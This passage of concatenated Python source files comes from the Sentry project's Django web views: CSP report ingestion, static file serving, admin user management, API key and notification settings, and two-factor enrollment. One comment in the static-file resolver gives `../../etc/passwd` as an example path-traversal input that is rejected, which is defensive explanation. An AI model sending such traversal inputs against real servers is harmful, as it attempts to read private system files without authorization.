            # We filter data immediately before it ever gets into the queue
            helper.ensure_does_not_have_ip(data)

        # mutates data (strips a lot of context if not queued)
        helper.insert_data_to_database(data)

        cache.set(cache_key, '', 60 * 5)

        helper.log.debug('New event received (%s)', event_id)

        event_accepted.send_robust(
            ip=remote_addr,
            data=data,
            project=project,
            sender=type(self),
        )

        return event_id


class CspReportView(StoreView):
    helper_cls = CspApiHelper
    content_types = ('application/csp-report', 'application/json')

    def _dispatch(self, request, helper, project_id=None, origin=None,
                  *args, **kwargs):
        # A CSP report is sent as a POST request with no Origin or Referer
        # header. What we're left with is a 'document-uri' key which is
        # inside of the JSON body of the request. This 'document-uri' value
        # should be treated as an origin check since it refers to the page
        # that triggered the report. The Content-Type is supposed to be
        # `application/csp-report`, but FireFox sends it as `application/json`.
        if request.method != 'POST':
            return HttpResponseNotAllowed(['POST'])

        if request.META.get('CONTENT_TYPE') not in self.content_types:
            raise APIError('Invalid Content-Type')

        request.user = AnonymousUser()

        project = self._get_project_from_id(project_id)
        helper.context.bind_project(project)
        Raven.tags_context(helper.context.get_tags_context())

        # This is yanking the auth from the querystring since it's not
        # in the POST body. This means we expect a `sentry_key` and
        # `sentry_version` to be set in querystring
        auth = helper.auth_from_request(request)

        project_ = helper.project_from_auth(auth)
        if project_ != project:
            raise APIError('Two different project were specified')

        helper.context.bind_auth(auth)
        Raven.tags_context(helper.context.get_tags_context())

        return super(APIView, self).dispatch(
            request=request,
            project=project,
            auth=auth,
            helper=helper,
            **kwargs
        )

    def post(self, request, project, auth, helper, **kwargs):
        data = helper.safely_load_json_string(request.body)

        # Do origin check based on the `document-uri` key as explained
        # in `_dispatch`.
        try:
            report = data['csp-report']
        except KeyError:
            raise APIError('Missing csp-report')

        origin = report.get('document-uri')

        # No idea, but this is garbage
        if origin == 'about:blank':
            raise APIForbidden('Invalid document-uri')

        if not is_valid_origin(origin, project):
            raise APIForbidden('Invalid document-uri')

        # Attach on collected meta data. This data obviously isn't a part
        # of the spec, but we need to append to the report sentry specific things.
        report['_meta'] = {
            'release': request.GET.get('sentry_release'),
        }

        response_or_event_id = self.process(
            request,
            project=project,
            auth=auth,
            helper=helper,
            data=report,
            **kwargs
        )
        if isinstance(response_or_event_id, HttpResponse):
            return response_or_event_id
        return HttpResponse(status=201)


@cache_control(max_age=3600, public=True)
def robots_txt(request):
    return HttpResponse("User-agent: *\nDisallow: /\n", content_type='text/plain')


@cache_control(max_age=3600, public=True)
def crossdomain_xml_index(request):
    response = render_to_response('sentry/crossdomain_index.xml')
    response['Content-Type'] = 'application/xml'
    return response


@cache_control(max_age=60)
def crossdomain_xml(request, project_id):
    if not project_id.isdigit():
        return HttpResponse(status=404)

    try:
        project = Project.objects.get_from_cache(id=project_id)
    except Project.DoesNotExist:
        return HttpResponse(status=404)

    origin_list = get_origins(project)
    response = render_to_response('sentry/crossdomain.xml', {
        'origin_list': origin_list
    })
    response['Content-Type'] = 'application/xml'

    return response






"""
sentry.web.helpers
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import logging

from django.conf import settings
from django.contrib.auth.models import AnonymousUser
from django.core.urlresolvers import reverse, resolve
from django.http import HttpResponse
from django.template import loader, RequestContext, Context

from sentry.api.serializers.base import serialize
from sentry.auth import access
from sentry.constants import EVENTS_PER_PAGE
from sentry.models import Team

logger = logging.getLogger('sentry')


_LOGIN_URL = None


def get_login_url(reset=False):
    global _LOGIN_URL

    if _LOGIN_URL is None or reset:
        # if LOGIN_URL resolves force login_required to it instead of our own
        # XXX: this must be done as late as possible to avoid idempotent requirements
        try:
            resolve(settings.LOGIN_URL)
        except Exception:
            _LOGIN_URL = settings.SENTRY_LOGIN_URL
        else:
            _LOGIN_URL = settings.LOGIN_URL

        if _LOGIN_URL is None:
            _LOGIN_URL = reverse('sentry-login')
    return _LOGIN_URL


def get_default_context(request, existing_context=None, team=None):
    from sentry import options
    from sentry.plugins import plugins

    context = {
        'EVENTS_PER_PAGE': EVENTS_PER_PAGE,
        'CSRF_COOKIE_NAME': settings.CSRF_COOKIE_NAME,
        'URL_PREFIX': options.get('system.url-prefix'),
        'SINGLE_ORGANIZATION': settings.SENTRY_SINGLE_ORGANIZATION,
        'PLUGINS': plugins,
        'ALLOWED_HOSTS': list(settings.ALLOWED_HOSTS),
        'ONPREMISE': settings.SENTRY_ONPREMISE,
    }

    if existing_context:
        if team is None and 'team' in existing_context:
            team = existing_context['team']

        if 'project' in existing_context:
            project = existing_context['project']
        else:
            project = None
    else:
        project = None

    if team:
        organization = team.organization
    elif project:
        organization = project.organization
    else:
        organization = None

    if request:
        context.update({
            'request': request,
        })

        if (not existing_context or 'TEAM_LIST' not in existing_context) and team:
            context['TEAM_LIST'] = Team.objects.get_for_user(
                organization=team.organization,
                user=request.user,
                with_projects=True,
            )

        user = request.user
    else:
        user = AnonymousUser()

    if organization:
        context['selectedOrganization'] = serialize(organization, user)
    if team:
        context['selectedTeam'] = serialize(team, user)
    if project:
        context['selectedProject'] = serialize(project, user)

    if not existing_context or 'ACCESS' not in existing_context:
        if request:
            context['ACCESS'] = access.from_request(
                request=request,
                organization=organization,
            ).to_django_context()
        else:
            context['ACCESS'] = access.from_user(
                user=user,
                organization=organization,
            ).to_django_context()

    return context


def render_to_string(template, context=None, request=None):

    # HACK: set team session value for dashboard redirect
    if context and 'team' in context and isinstance(context['team'], Team):
        team = context['team']
    else:
        team = None

    default_context = get_default_context(request, context, team=team)

    if context is None:
        context = default_context
    else:
        context = dict(context)
        context.update(default_context)

    if request:
        context = RequestContext(request, context)
    else:
        context = Context(context)

    return loader.render_to_string(template, context)


def render_to_response(template, context=None, request=None, status=200,
                       content_type='text/html'):
    response = HttpResponse(render_to_string(template, context, request))
    response.status_code = status
    response['Content-Type'] = content_type
    return response






from __future__ import absolute_import

from django.contrib import messages
from django.core.urlresolvers import reverse
from django.utils.translation import ugettext_lazy as _

from sentry.models import AuditLogEntryEvent, ProjectKey
from sentry.web.forms.projectkeys import EditProjectKeyForm
from sentry.web.frontend.base import ProjectView


class EditProjectKeyView(ProjectView):
    required_scope = 'project:write'

    def handle(self, request, organization, team, project, key_id):
        try:
            key = ProjectKey.objects.get(
                id=key_id,
                project=project,
            )
        except ProjectKey.DoesNotExist:
            return self.redirect(reverse('sentry-manage-project-keys', args=[project.organization.slug, project.slug]))

        form = EditProjectKeyForm(request.POST or None, instance=key)
        if form.is_valid():
            key = form.save()

            self.create_audit_entry(
                request,
                organization=organization,
                target_object=key.id,
                event=AuditLogEntryEvent.PROJECTKEY_EDIT,
                data=key.get_audit_log_data(),
            )

            messages.add_message(
                request, messages.SUCCESS,
                _('Changes to the API key (%s) were saved.') % (key.public_key,))
            return self.redirect(reverse('sentry-manage-project-keys', args=[project.organization.slug, project.slug]))

        context = {
            'page': 'keys',
            'key': key,
            'form': form,
        }

        return self.respond('sentry/projects/edit_key.html', context)






from __future__ import absolute_import

from django.contrib import messages
from django.core.urlresolvers import reverse
from django.utils.translation import ugettext_lazy as _

from sentry.models import AuditLogEntryEvent, ProjectKey, ProjectKeyStatus
from sentry.web.frontend.base import ProjectView


class EnableProjectKeyView(ProjectView):
    required_scope = 'project:write'

    def post(self, request, organization, team, project, key_id):
        try:
            key = ProjectKey.objects.get(id=key_id)
        except ProjectKey.DoesNotExist:
            return self.redirect(reverse('sentry-manage-project-keys', args=[project.organization.slug, project.slug]))

        key.update(status=ProjectKeyStatus.ACTIVE)

        self.create_audit_entry(
            request,
            organization=organization,
            target_object=key.id,
            event=AuditLogEntryEvent.PROJECTKEY_ENABLE,
            data=key.get_audit_log_data(),
        )

        messages.add_message(
            request, messages.SUCCESS,
            _('The API key (%s) was enabled.') % (key.public_key,))

        return self.redirect(reverse('sentry-manage-project-keys', args=[project.organization.slug, project.slug]))






from __future__ import absolute_import

from django.contrib import messages
from django.http import HttpResponseRedirect, HttpResponse
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext_lazy as _

from sentry import constants
from sentry import options
from sentry.app import digests
from sentry.digests import get_option_key as get_digest_option_key
from sentry.plugins import plugins, NotificationPlugin
from sentry.web.forms.projects import (
    DigestSettingsForm,
    NotificationSettingsForm,
)
from sentry.web.frontend.base import ProjectView

OK_SETTINGS_SAVED = _('Your settings were saved successfully.')


class ProjectNotificationsView(ProjectView):
    required_scope = 'project:write'

    def _iter_plugins(self):
        for plugin in plugins.all(version=1):
            if not isinstance(plugin, NotificationPlugin):
                continue
            yield plugin

    def _handle_enable_plugin(self, request, project):
        plugin = plugins.get(request.POST['plugin'])
        plugin.enable(project)

        messages.add_message(
            request, messages.SUCCESS,
            constants.OK_PLUGIN_ENABLED.format(name=plugin.get_title()),
        )

    def _handle_disable_plugin(self, request, project):
        plugin = plugins.get(request.POST['plugin'])
        plugin.disable(project)
        messages.add_message(
            request, messages.SUCCESS,
            constants.OK_PLUGIN_DISABLED.format(name=plugin.get_title()),
        )

    def handle(self, request, organization, team, project):
        op = request.POST.get('op')
        if op == 'enable':
            self._handle_enable_plugin(request, project)
            return HttpResponseRedirect(request.path)
        elif op == 'disable':
            self._handle_disable_plugin(request, project)
            return HttpResponseRedirect(request.path)

        if op == 'save-settings':
            if digests.enabled(project):
                digests_form = DigestSettingsForm(
                    data=request.POST,
                    prefix='digests',
                    initial={
                        'minimum_delay': project.get_option(
                            get_digest_option_key('mail', 'minimum_delay'),
                            digests.minimum_delay / 60,
                        ),
                        'maximum_delay': project.get_option(
                            get_digest_option_key('mail', 'maximum_delay'),
                            digests.maximum_delay / 60,
                        ),
                    },
                )
            else:
                digests_form = None

            general_form = NotificationSettingsForm(
                data=request.POST,
                prefix='general',
                initial={
                    'subject_prefix': project.get_option(
                        'mail:subject_prefix', options.get('mail.subject-prefix')),
                },
            )
            if general_form.is_valid() and (digests_form.is_valid() if digests_form is not None else True):
                project.update_option('mail:subject_prefix', general_form.cleaned_data['subject_prefix'])
                if digests_form is not None:
                    project.update_option(
                        get_digest_option_key('mail', 'minimum_delay'),
                        digests_form.cleaned_data['minimum_delay'] * 60,
                    )
                    project.update_option(
                        get_digest_option_key('mail', 'maximum_delay'),
                        digests_form.cleaned_data['maximum_delay'] * 60,
                    )
                messages.add_message(
                    request, messages.SUCCESS,
                    OK_SETTINGS_SAVED)
                return HttpResponseRedirect(request.path)
        else:
            if digests.enabled(project):
                digests_form = DigestSettingsForm(
                    prefix='digests',
                    initial={
                        'minimum_delay': project.get_option(
                            get_digest_option_key('mail', 'minimum_delay'),
                            digests.minimum_delay,
                        ) / 60,
                        'maximum_delay': project.get_option(
                            get_digest_option_key('mail', 'maximum_delay'),
                            digests.maximum_delay,
                        ) / 60,
                    },
                )
            else:
                digests_form = None

            general_form = NotificationSettingsForm(
                prefix='general',
                initial={
                    'subject_prefix': project.get_option(
                        'mail:subject_prefix', options.get('mail.subject-prefix')),
                },
            )

        enabled_plugins = []
        other_plugins = []
        for plugin in self._iter_plugins():
            if plugin.is_enabled(project):
                content = plugin.get_notification_doc_html()

                form = plugin.project_conf_form
                if form is not None:
                    view = plugin.configure(request=request, project=project)
                    if isinstance(view, HttpResponse):
                        return view
                    enabled_plugins.append((plugin, mark_safe(content + view)))
                elif content:
                    enabled_plugins.append((plugin, mark_safe(content)))
            elif plugin.can_configure_for_project(project):
                other_plugins.append(plugin)

        is_user_subbed = project.is_user_subscribed_to_mail_alerts(request.user)

        context = {
            'page': 'notifications',
            'enabled_plugins': enabled_plugins,
            'other_plugins': other_plugins,
            'general_form': general_form,
            'digests_form': digests_form,
            'is_user_subbed': is_user_subbed
        }

        return self.respond('sentry/project-notifications.html', context)






from __future__ import absolute_import

from django.conf import settings
from django.http import Http404, HttpResponseRedirect
from django.views.generic import View

from sentry import options


class OutView(View):
    def get(self, request):
        if not settings.SENTRY_ONPREMISE:
            raise Http404

        install_id = options.get('sentry:install-id')
        if install_id:
            query = '?install_id=' + install_id
        else:
            query = ''
        return HttpResponseRedirect('https://getsentry.com/from/self-hosted/' + query)






"""
sentry.web.frontend.generic
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import os
import posixpath

from django.conf import settings
from django.http import HttpResponseNotFound, Http404
from django.contrib.staticfiles import finders
from django.utils.six.moves.urllib.parse import unquote
from django.views import static
from django.views.generic import TemplateView as BaseTemplateView

from sentry.web.helpers import render_to_response

FOREVER_CACHE = 'max-age=315360000'
NEVER_CACHE = 'max-age=0, no-cache, no-store, must-revalidate'


def resolve(path):
    # Mostly yanked from Django core and changed to return the path:
    # See: https://github.com/django/django/blob/1.6.11/django/contrib/staticfiles/views.py
    normalized_path = posixpath.normpath(unquote(path)).lstrip('/')
    try:
        absolute_path = finders.find(normalized_path)
    except Exception:
        # trying to access bad paths like, `../../etc/passwd`, etc that
        # Django rejects, but respond nicely instead of erroring.
        absolute_path = None
    if not absolute_path:
        raise Http404("'%s' could not be found" % path)
    if path[-1] == '/' or os.path.isdir(absolute_path):
        raise Http404('Directory indexes are not allowed here.')
    return os.path.split(absolute_path)


def static_media(request, **kwargs):
    """
    Serve static files below a given point in the directory structure.
    """
    module = kwargs.get('module')
    path = kwargs.get('path', '')
    version = kwargs.get('version')

    if module:
        path = '%s/%s' % (module, path)

    try:
        document_root, path = resolve(path)
    except Http404:
        # Return back a simpler plain-text 404 response, more suitable
        # for static files, rather than our full blown HTML.
        return HttpResponseNotFound('', content_type='text/plain')

    if 'gzip' in request.META.get('HTTP_ACCEPT_ENCODING', '') and not path.endswith('.gz') and not settings.DEBUG:
        paths = (path + '.gz', path)
    else:
        paths = (path,)

    for p in paths:
        try:
            response = static.serve(request, p, document_root=document_root)
            break
        except Http404:
            # We don't need to handle this since `resolve()` is assuring to us that
            # at least the non-gzipped version exists, so in theory, this can
            # only happen on the first .gz path
            continue

    # Make sure we Vary: Accept-Encoding for gzipped responses
    response['Vary'] = 'Accept-Encoding'

    # We need CORS for font files
    if path.endswith(('.js', '.ttf', '.ttc', '.otf', '.eot', '.woff', '.woff2')):
        response['Access-Control-Allow-Origin'] = '*'

    # If we have a version and not DEBUG, we can cache it FOREVER
    if version is not None and not settings.DEBUG:
        response['Cache-Control'] = FOREVER_CACHE
    else:
        # Otherwise, we explicitly don't want to cache at all
        response['Cache-Control'] = NEVER_CACHE

    return response


class TemplateView(BaseTemplateView):
    def render_to_response(self, context, **response_kwargs):
        return render_to_response(
            request=self.request,
            template=self.get_template_names(),
            context=context,
            **response_kwargs
        )






from __future__ import absolute_import, division

from django.http import Http404, HttpResponse
from django.shortcuts import get_object_or_404

from sentry.models import Event, Group, GroupMeta, get_group_with_redirect
from sentry.utils import json
from sentry.web.frontend.base import ProjectView


class GroupEventJsonView(ProjectView):
    required_scope = 'event:read'

    def get(self, request, organization, project, team, group_id, event_id_or_latest):
        try:
            # TODO(tkaemming): This should *actually* redirect, see similar
            # comment in ``GroupEndpoint.convert_args``.
            group, _ = get_group_with_redirect(
                group_id,
                queryset=Group.objects.filter(project=project),
            )
        except Group.DoesNotExist:
            raise Http404

        if event_id_or_latest == 'latest':
            # It's possible that a message would not be created under certain
            # circumstances (such as a post_save signal failing)
            event = group.get_latest_event() or Event(group=group)
        else:
            event = get_object_or_404(group.event_set, pk=event_id_or_latest)

        Event.objects.bind_nodes([event], 'data')
        GroupMeta.objects.populate_cache([group])

        return HttpResponse(json.dumps(event.as_dict()), mimetype='application/json')






from __future__ import absolute_import

from django import forms
from django.contrib import messages
from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect
from django.utils.translation import ugettext_lazy as _

from sentry.api import client
from sentry.web.frontend.base import ProjectView


class RemoveProjectForm(forms.Form):
    pass


class RemoveProjectView(ProjectView):
    required_scope = 'project:delete'
    sudo_required = True

    def get_form(self, request):
        if request.method == 'POST':
            return RemoveProjectForm(request.POST)
        return RemoveProjectForm()

    def handle(self, request, organization, team, project):
        form = self.get_form(request)

        if form.is_valid():
            client.delete('/projects/{}/{}/'.format(organization.slug, project.slug),
                          request=request, is_sudo=True)

            messages.add_message(
                request, messages.SUCCESS,
                _(u'The project %r was scheduled for deletion.') % (project.name.encode('utf-8'),))

            return HttpResponseRedirect(reverse('sentry-organization-home', args=[team.organization.slug]))

        context = {
            'form': form,
        }

        return self.respond('sentry/projects/remove.html', context)






from __future__ import absolute_import

import itertools

from django.contrib import messages
from django.core.context_processors import csrf
from django.db import transaction
from django.http import HttpResponseRedirect
from django.views.decorators.cache import never_cache
from django.views.decorators.csrf import csrf_protect
from django.utils.decorators import method_decorator

from sudo.decorators import sudo_required

from sentry.models import (
    Project, ProjectStatus
)
from sentry.plugins import plugins
from sentry.web.forms.accounts import (
    ProjectEmailOptionsForm, NotificationSettingsForm,
    NotificationReportSettingsForm
)
from sentry.web.decorators import login_required
from sentry.web.frontend.base import BaseView
from sentry.web.helpers import render_to_response
from sentry.utils.auth import get_auth_providers
from sentry.utils.safe import safe_execute


class AccountNotificationView(BaseView):
    notification_settings_form = NotificationSettingsForm

    @method_decorator(csrf_protect)
    @method_decorator(never_cache)
    @method_decorator(login_required)
    @method_decorator(sudo_required)
    @method_decorator(transaction.atomic)
    def handle(self, request):
        settings_form = self.notification_settings_form(
            request.user, request.POST or None)
        reports_form = NotificationReportSettingsForm(
            request.user, request.POST or None,
            prefix='reports')

        project_list = list(Project.objects.filter(
            team__organizationmemberteam__organizationmember__user=request.user,
            team__organizationmemberteam__is_active=True,
            status=ProjectStatus.VISIBLE,
        ).distinct())

        project_forms = [
            (project, ProjectEmailOptionsForm(
                project, request.user,
                request.POST or None,
                prefix='project-%s' % (project.id,)
            ))
            for project in sorted(project_list, key=lambda x: (
                x.team.name if x.team else None, x.name))
        ]

        ext_forms = []
        for plugin in plugins.all():
            for form in safe_execute(plugin.get_notification_forms, _with_transaction=False) or ():
                form = safe_execute(form, plugin, request.user, request.POST or None, prefix=plugin.slug,
                                    _with_transaction=False)
                if not form:
                    continue
                ext_forms.append(form)

        if request.POST:
            all_forms = list(itertools.chain(
                [settings_form, reports_form],
                ext_forms,
                (f for _, f in project_forms)
            ))
            if all(f.is_valid() for f in all_forms):
                for form in all_forms:
                    form.save()
                messages.add_message(request, messages.SUCCESS, 'Your settings were saved.')
                return HttpResponseRedirect(request.path)

        context = csrf(request)
        context.update({
            'settings_form': settings_form,
            'project_forms': project_forms,
            'reports_form': reports_form,
            'ext_forms': ext_forms,
            'page': 'notifications',
            'AUTH_PROVIDERS': get_auth_providers(),
        })
        return render_to_response('sentry/account/notifications.html', context, request)






"""
sentry.web.frontend.admin
~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import functools
import logging
import sys
import uuid
from collections import defaultdict

import pkg_resources
import six
from django.conf import settings
from django.core.context_processors import csrf
from django.core.urlresolvers import reverse
from django.db import transaction
from django.http import HttpResponse, HttpResponseRedirect
from django.views.decorators.csrf import csrf_protect

from sentry import options
from sentry.app import env
from sentry.models import Project, User
from sentry.plugins import plugins
from sentry.utils.email import send_mail
from sentry.utils.http import absolute_uri
from sentry.utils.warnings import DeprecatedSettingWarning, seen_warnings
from sentry.web.decorators import requires_admin
from sentry.web.forms import (
    ChangeUserForm, NewUserForm, RemoveUserForm, TestEmailForm
)
from sentry.web.helpers import render_to_response, render_to_string, get_login_url


def configure_plugin(request, slug):
    plugin = plugins.get(slug)
    if not plugin.has_site_conf():
        return HttpResponseRedirect(get_login_url())

    view = plugin.configure(request=request)
    if isinstance(view, HttpResponse):
        return view

    return render_to_response('sentry/admin/plugins/configure.html', {
        'plugin': plugin,
        'title': plugin.get_conf_title(),
        'slug': plugin.slug,
        'view': view,
    }, request)


@requires_admin
@transaction.atomic
@csrf_protect
def create_new_user(request):
    if not request.is_superuser():
        return HttpResponseRedirect(get_login_url())

    form = NewUserForm(request.POST or None, initial={
        'send_welcome_mail': True,
        'create_project': True,
    })
    if form.is_valid():
        user = form.save(commit=False)

        # create a random password
        password = uuid.uuid4().hex
        user.set_password(password)

        user.save()

        if form.cleaned_data['send_welcome_mail']:
            context = {
                'username': user.username,
                'password': password,
                'url': absolute_uri(get_login_url()),
            }
            body = render_to_string('sentry/emails/welcome_mail.txt', context, request)

            try:
                send_mail(
                    '%s Welcome to Sentry' % (options.get('mail.subject-prefix'),),
                    body, options.get('mail.from'), [user.email],
                    fail_silently=False
                )
            except Exception as e:
                logger = logging.getLogger('sentry.mail.errors')
                logger.exception(e)

        return HttpResponseRedirect(reverse('sentry-admin-users'))

    context = {
        'form': form,
    }
    context.update(csrf(request))

    return render_to_response('sentry/admin/users/new.html', context, request)


@requires_admin
@csrf_protect
def edit_user(request, user_id):
    if not request.is_superuser():
        return HttpResponseRedirect(get_login_url())

    try:
        user = User.objects.get(pk=user_id)
    except User.DoesNotExist:
        return HttpResponseRedirect(reverse('sentry-admin-users'))

    form = ChangeUserForm(request.POST or None, instance=user)
    if form.is_valid():
        user = form.save()
        return HttpResponseRedirect(reverse('sentry-admin-users'))

    project_list = Project.objects.filter(
        status=0,
        organization__member_set__user=user,
    ).order_by('-date_added')

    context = {
        'form': form,
        'the_user': user,
        'project_list': project_list,
    }
    context.update(csrf(request))

    return render_to_response('sentry/admin/users/edit.html', context, request)


@requires_admin
@csrf_protect
def remove_user(request, user_id):
    if six.text_type(user_id) == six.text_type(request.user.id):
        return HttpResponseRedirect(reverse('sentry-admin-users'))

    try:
        user = User.objects.get(pk=user_id)
    except User.DoesNotExist:
        return HttpResponseRedirect(reverse('sentry-admin-users'))

    form = RemoveUserForm(request.POST or None)
    if form.is_valid():
        if form.cleaned_data['removal_type'] == '2':
            user.delete()
        else:
            User.objects.filter(pk=user.pk).update(is_active=False)

        return HttpResponseRedirect(reverse('sentry-admin-users'))

    context = csrf(request)
    context.update({
        'form': form,
        'the_user': user,
    })

    return render_to_response('sentry/admin/users/remove.html', context, request)


@requires_admin
def status_env(request):
    reserved = ('PASSWORD', 'SECRET', 'KEY')
    config = []
    for k in sorted(dir(settings)):
        v_repr = repr(getattr(settings, k))
        if any(r.lower() in v_repr.lower() for r in reserved):
            v_repr = '*' * 16
        if any(r in k for r in reserved):
            v_repr = '*' * 16
        if k.startswith('_'):
            continue
        if k.upper() != k:
            continue
        config.append((k, v_repr))

    return render_to_response('sentry/admin/status/env.html', {
        'python_version': sys.version,
        'config': config,
        'environment': env.data,
    }, request)


@requires_admin
def status_packages(request):
    config = []
    for k in sorted(dir(settings)):
        if k == 'KEY':
            continue
        if k.startswith('_'):
            continue
        if k.upper() != k:
            continue
        config.append((k, getattr(settings, k)))

    return render_to_response('sentry/admin/status/packages.html', {
        'modules': sorted([(p.project_name, p.version) for p in pkg_resources.working_set]),
        'extensions': [
            (p.get_title(), '%s.%s' % (p.__module__, p.__class__.__name__))
            for p in plugins.all(version=None)
        ],
    }, request)


@requires_admin
def status_warnings(request):
    groupings = {
        DeprecatedSettingWarning: 'Deprecated Settings',
    }

    groups = defaultdict(list)
    warnings = []
    for warning in seen_warnings:
        cls = type(warning)
        if cls in groupings:
            groups[cls].append(warning)
        else:
            warnings.append(warning)

    sort_by_message = functools.partial(sorted, key=str)

    return render_to_response(
        'sentry/admin/status/warnings.html',
        {
            'groups': [(groupings[key], sort_by_message(values)) for key, values in groups.items()],
            'warnings': sort_by_message(warnings),
        },
        request,
    )


@requires_admin
@csrf_protect
def status_mail(request):
    form = TestEmailForm(request.POST or None)

    if form.is_valid():
        body = """This email was sent as a request to test the Sentry outbound email configuration."""
        try:
            send_mail(
                '%s Test Email' % (options.get('mail.subject-prefix'),),
                body, options.get('mail.from'), [request.user.email],
                fail_silently=False
            )
        except Exception as e:
            form.errors['__all__'] = [six.text_type(e)]

    return render_to_response('sentry/admin/status/mail.html', {
        'form': form,
        'mail_host': options.get('mail.host'),
        'mail_password': bool(options.get('mail.password')),
        'mail_username': options.get('mail.username'),
        'mail_port': options.get('mail.port'),
        'mail_use_tls': options.get('mail.use-tls'),
        'mail_from': options.get('mail.from'),
        'mail_list_namespace': options.get('mail.list-namespace'),
    }, request)






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect
from operator import or_
from six.moves import reduce

from sentry.models import ApiKey, AuditLogEntryEvent
from sentry.web.frontend.base import OrganizationView

DEFAULT_SCOPES = [
    'project:read',
    'event:read',
    'team:read',
    'org:read',
    'member:read',
]


class OrganizationApiKeysView(OrganizationView):
    required_scope = 'org:delete'

    def handle(self, request, organization):
        if request.POST.get('op') == 'newkey':
            key = ApiKey.objects.create(
                organization=organization,
                scopes=reduce(or_, [getattr(ApiKey.scopes, s) for s in DEFAULT_SCOPES])
            )

            self.create_audit_entry(
                request,
                organization=organization,
                target_object=key.id,
                event=AuditLogEntryEvent.APIKEY_ADD,
                data=key.get_audit_log_data(),
            )

            redirect_uri = reverse('sentry-organization-api-key-settings', args=[
                organization.slug, key.id,
            ])
            return HttpResponseRedirect(redirect_uri)

        elif request.POST.get('op') == 'removekey':
            try:
                key = ApiKey.objects.get(
                    id=request.POST.get('kid'),
                    organization=organization,
                )
            except ApiKey.DoesNotExist:
                pass
            else:
                audit_data = key.get_audit_log_data()

                key.delete()

                self.create_audit_entry(
                    request,
                    organization=organization,
                    target_object=key.id,
                    event=AuditLogEntryEvent.APIKEY_REMOVE,
                    data=audit_data,
                )

            return HttpResponseRedirect(request.path)

        key_list = sorted(ApiKey.objects.filter(
            organization=organization,
        ), key=lambda x: x.label)

        context = {
            'key_list': key_list,
        }

        return self.respond('sentry/organization-api-keys.html', context)






from __future__ import absolute_import

from django import forms
from django.db import transaction
from django.http import HttpResponseRedirect, Http404
from django.core.urlresolvers import reverse
from django.views.decorators.csrf import csrf_protect
from django.views.decorators.cache import never_cache
from django.utils.decorators import method_decorator
from django.core.context_processors import csrf
from django.utils.translation import ugettext_lazy as _

import petname
from sudo.decorators import sudo_required

from sentry.models import Authenticator
from sentry.web.frontend.base import BaseView
from sentry.web.decorators import login_required
from sentry.web.helpers import render_to_response
from sentry.web.forms.accounts import TwoFactorForm
from sentry.utils import json


class SmsForm(forms.Form):
    phone_number = forms.CharField(
        label=_('Phone number'), max_length=40
    )


class U2fForm(forms.Form):
    device_name = forms.CharField(
        label=_('Device name'), max_length=60, required=False,
        initial=lambda: petname.Generate(2, ' ').title(),
    )


class TwoFactorSettingsView(BaseView):
    interface_id = None

    @method_decorator(csrf_protect)
    @method_decorator(never_cache)
    @method_decorator(login_required)
    @method_decorator(sudo_required)
    @method_decorator(transaction.atomic)
    def handle(self, request):
        try:
            interface = Authenticator.objects.get_interface(
                request.user, self.interface_id)
        except LookupError:
            raise Http404
        return self.configure(request, interface)

    def make_context(self, request, interface):
        context = csrf(request)
        context['auth'] = interface
        context['page'] = 'security'
        return context

    def delete_authenticator(self, interface):
        if interface.authenticator is None:
            return

        user = interface.authenticator.user
        interface.authenticator.delete()

        # If this was an authenticator that was a backup interface we just
        # deleted, then nothing happens.
        if interface.is_backup_interface:
            return

        # If however if we delete an actual authenticator and all that
        # remainds are backup interfaces, then we kill them in the
        # process.
        interfaces = Authenticator.objects.all_interfaces_for_user(user)
        backup_interfaces = [x for x in interfaces if x.is_backup_interface]
        if len(backup_interfaces) == len(interfaces):
            for iface in backup_interfaces:
                iface.authenticator.delete()

    def remove(self, request, interface):
        if 'no' in request.POST or \
           not interface.is_enrolled:
            return HttpResponseRedirect(reverse('sentry-account-settings-2fa'))
        elif 'yes' in request.POST:
            self.delete_authenticator(interface)
            return HttpResponseRedirect(reverse('sentry-account-settings-2fa'))

        all_interfaces = Authenticator.objects.all_interfaces_for_user(
            request.user)
        other_interfaces = [x for x in all_interfaces
                            if x.interface_id != interface.interface_id]
        backup_interfaces = [x for x in other_interfaces if x.is_backup_interface]
        removes_backups = backup_interfaces and \
            len(backup_interfaces) == len(other_interfaces)

        context = self.make_context(request, interface)
        context['removes_backups'] = removes_backups
        return render_to_response('sentry/account/twofactor/remove.html',
                                  context, request)

    def enroll(self, request, interface, insecure=False):
        next = request.path
        # Only enroll if it's either not an insecure enrollment or we are
        # enrolling a backup interface when we already had a primary one.
        if not insecure \
           or (interface.is_backup_interface and
               Authenticator.objects.user_has_2fa(request.user)):
            try:
                interface.enroll(request.user)
            except Authenticator.AlreadyEnrolled:
                # This can happen in some cases when races occur.  We have
                # seen this when people press the submit button twice.  In
                # that case just go to the overview page of 2fa
                next = reverse('sentry-account-settings-2fa')
            else:
                if Authenticator.objects.auto_add_recovery_codes(request.user):
                    next = reverse('sentry-account-settings-2fa-recovery')
        return HttpResponseRedirect(next)

    def configure(self, request, interface):
        if 'remove' in request.POST:
            return self.remove(request, interface)
        if 'enroll' in request.POST or \
           request.GET.get('enroll') == 'yes':
            return self.enroll(request, interface,
                               insecure='enroll' not in request.POST)
        context = self.make_context(request, interface)
        return render_to_response(['sentry/account/twofactor/configure_%s.html'
                                   % self.interface_id,
                                   'sentry/account/twofactor/configure.html'],
                                  context, request)


class RecoveryCodeSettingsView(TwoFactorSettingsView):
    interface_id = 'recovery'

    def configure(self, request, interface):
        if 'regenerate' in request.POST:
            interface.regenerate_codes()
            return HttpResponseRedirect(request.path)
        return TwoFactorSettingsView.configure(self, request, interface)


class TotpSettingsView(TwoFactorSettingsView):
    interface_id = 'totp'

    def enroll(self, request, interface, insecure=False):
        totp_secret = request.POST.get('totp_secret')
        if totp_secret is not None:
            interface.secret = totp_secret

        if 'otp' in request.POST:
            form = TwoFactorForm(request.POST)
            if form.is_valid() and interface.validate_otp(
